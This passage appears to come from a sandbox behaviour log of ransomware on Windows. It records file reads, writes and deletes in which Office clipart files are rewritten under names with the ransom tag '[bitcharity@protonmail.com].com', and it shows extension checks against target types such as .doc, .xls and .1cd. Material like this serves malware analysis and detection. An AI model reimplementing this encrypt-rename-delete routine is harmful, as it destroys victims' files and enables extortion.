lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xd60, lpOverlapped=0x0) returned 1 [0151.515] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.515] WriteFile (in: hFile=0x10e8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.515] SetEndOfFile (hFile=0x10e8) returned 1 [0151.515] CloseHandle (hObject=0x10e8) returned 1 [0151.525] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.525] SetEndOfFile (hFile=0x10b4) returned 1 [0151.526] CloseHandle (hObject=0x10b4) returned 1 [0151.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0151.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0151.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0151.527] lstrlenW (lpString=".doc") returned 4 [0151.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.527] lstrlenW (lpString=".docx") returned 5 [0151.527] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.527] lstrlenW (lpString=".pdf") returned 4 [0151.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.528] lstrlenW (lpString=".xls") returned 4 [0151.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.528] lstrlenW (lpString=".xlsx") returned 5 [0151.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.528] lstrlenW (lpString=".ppt") returned 4 [0151.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0151.528] lstrlenW (lpString=".zip") returned 4 [0151.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.528] lstrlenW (lpString=".rar") returned 4 [0151.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.528] lstrlenW (lpString=".bz2") returned 4 [0151.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.528] lstrlenW (lpString=".7z") returned 3 [0151.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0151.528] lstrlenW (lpString=".dbf") returned 4 [0151.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0151.528] lstrlenW (lpString=".1cd") returned 4 [0151.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0151.528] lstrlenW (lpString=".jpg") returned 4 [0151.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0151.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0151.529] lstrlenW (lpString=".doc") returned 4 [0151.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.529] lstrlenW (lpString=".docx") returned 5 [0151.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.529] lstrlenW (lpString=".pdf") returned 4 [0151.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.529] lstrlenW (lpString=".xls") returned 4 [0151.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.529] lstrlenW (lpString=".xlsx") returned 5 [0151.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.529] lstrlenW (lpString=".ppt") returned 4 [0151.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0151.529] lstrlenW (lpString=".zip") returned 4 [0151.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.529] lstrlenW (lpString=".rar") returned 4 [0151.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.529] lstrlenW (lpString=".bz2") returned 4 [0151.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.529] lstrlenW (lpString=".7z") returned 3 [0151.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0151.529] lstrlenW (lpString=".dbf") returned 4 [0151.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0151.529] lstrlenW (lpString=".1cd") returned 4 [0151.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0151.530] lstrlenW (lpString=".jpg") returned 4 [0151.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.530] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0151.530] lstrlenW (lpString="AN04174_.WMF") returned 12 [0151.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0151.530] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=2636) returned 1 [0151.530] CloseHandle (hObject=0x10b4) returned 1 [0151.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220 [0151.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0151.531] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.531] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0151.531] GetLastError () returned 0x0 [0151.532] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0xa4c, lpOverlapped=0x0) returned 1 [0151.551] WriteFile (in: hFile=0x10e8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xa50, lpOverlapped=0x0) returned 1 [0151.551] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.552] WriteFile (in: hFile=0x10e8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.552] SetEndOfFile (hFile=0x10e8) returned 1 [0151.552] CloseHandle (hObject=0x10e8) returned 1 [0152.086] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.086] SetEndOfFile (hFile=0x10b4) returned 1 [0152.088] CloseHandle (hObject=0x10b4) returned 1 [0152.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0152.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0152.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0152.089] lstrlenW (lpString=".doc") returned 4 [0152.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.089] lstrlenW (lpString=".docx") returned 5 [0152.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.089] lstrlenW (lpString=".pdf") returned 4 [0152.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.089] lstrlenW (lpString=".xls") returned 4 [0152.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.089] lstrlenW (lpString=".xlsx") returned 5 [0152.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.089] lstrlenW (lpString=".ppt") returned 4 [0152.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0152.089] lstrlenW (lpString=".zip") returned 4 [0152.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.089] lstrlenW (lpString=".rar") returned 4 [0152.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.090] lstrlenW (lpString=".bz2") returned 4 [0152.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.090] lstrlenW (lpString=".7z") returned 3 [0152.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0152.090] lstrlenW (lpString=".dbf") returned 4 [0152.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0152.090] lstrlenW (lpString=".1cd") returned 4 [0152.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0152.090] lstrlenW (lpString=".jpg") returned 4 [0152.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0152.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0152.090] lstrlenW (lpString=".doc") returned 4 [0152.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.090] lstrlenW (lpString=".docx") returned 5 [0152.091] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.091] lstrlenW (lpString=".pdf") returned 4 [0152.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.091] lstrlenW (lpString=".xls") returned 4 [0152.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.091] lstrlenW (lpString=".xlsx") returned 5 [0152.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.091] lstrlenW (lpString=".ppt") returned 4 [0152.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0152.091] lstrlenW (lpString=".zip") returned 4 [0152.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.091] lstrlenW (lpString=".rar") returned 4 [0152.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.091] lstrlenW (lpString=".bz2") returned 4 [0152.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.091] lstrlenW (lpString=".7z") returned 3 [0152.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0152.091] lstrlenW (lpString=".dbf") returned 4 [0152.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0152.091] lstrlenW (lpString=".1cd") returned 4 [0152.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0152.092] lstrlenW (lpString=".jpg") returned 4 [0152.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.092] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.092] lstrlenW (lpString="AN04267_.WMF") returned 12 [0152.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0152.093] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=7804) returned 1 [0152.093] CloseHandle (hObject=0x10b4) returned 1 [0152.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220 [0152.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0152.094] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.094] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0152.094] GetLastError () returned 0x0 [0152.094] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0152.169] WriteFile (in: hFile=0x10d0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0152.171] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.172] WriteFile (in: hFile=0x10d0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.172] SetEndOfFile (hFile=0x10d0) returned 1 [0152.172] CloseHandle (hObject=0x10d0) returned 1 [0152.181] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.181] SetEndOfFile (hFile=0x10b4) returned 1 [0152.182] CloseHandle (hObject=0x10b4) returned 1 [0152.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0152.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0152.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0152.183] lstrlenW (lpString=".doc") returned 4 [0152.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.183] lstrlenW (lpString=".docx") returned 5 [0152.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.183] lstrlenW (lpString=".pdf") returned 4 [0152.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.184] lstrlenW (lpString=".xls") returned 4 [0152.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.184] lstrlenW (lpString=".xlsx") returned 5 [0152.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.184] lstrlenW (lpString=".ppt") returned 4 [0152.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0152.184] lstrlenW (lpString=".zip") returned 4 [0152.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.186] lstrlenW (lpString=".rar") returned 4 [0152.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.186] lstrlenW (lpString=".bz2") returned 4 [0152.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.186] lstrlenW (lpString=".7z") returned 3 [0152.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0152.186] lstrlenW (lpString=".dbf") returned 4 [0152.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0152.186] lstrlenW (lpString=".1cd") returned 4 [0152.186] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0152.187] lstrlenW (lpString=".jpg") returned 4 [0152.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0152.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0152.187] lstrlenW (lpString=".doc") returned 4 [0152.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.187] lstrlenW (lpString=".docx") returned 5 [0152.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.187] lstrlenW (lpString=".pdf") returned 4 [0152.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.187] lstrlenW (lpString=".xls") returned 4 [0152.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.187] lstrlenW (lpString=".xlsx") returned 5 [0152.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.187] lstrlenW (lpString=".ppt") returned 4 [0152.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0152.187] lstrlenW (lpString=".zip") returned 4 [0152.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.187] lstrlenW (lpString=".rar") returned 4 [0152.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.187] lstrlenW (lpString=".bz2") returned 4 [0152.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.187] lstrlenW (lpString=".7z") returned 3 [0152.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0152.187] lstrlenW (lpString=".dbf") returned 4 [0152.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0152.188] lstrlenW (lpString=".1cd") returned 4 [0152.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0152.188] lstrlenW (lpString=".jpg") returned 4 [0152.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.188] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.188] lstrlenW (lpString="AN04269_.WMF") returned 12 [0152.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0152.188] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=2016) returned 1 [0152.189] CloseHandle (hObject=0x10b4) returned 1 [0152.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220 [0152.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0152.189] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.189] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0152.190] GetLastError () returned 0x0 [0152.190] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x7e0, lpOverlapped=0x0) returned 1 [0152.216] WriteFile (in: hFile=0x10d0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0152.217] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) 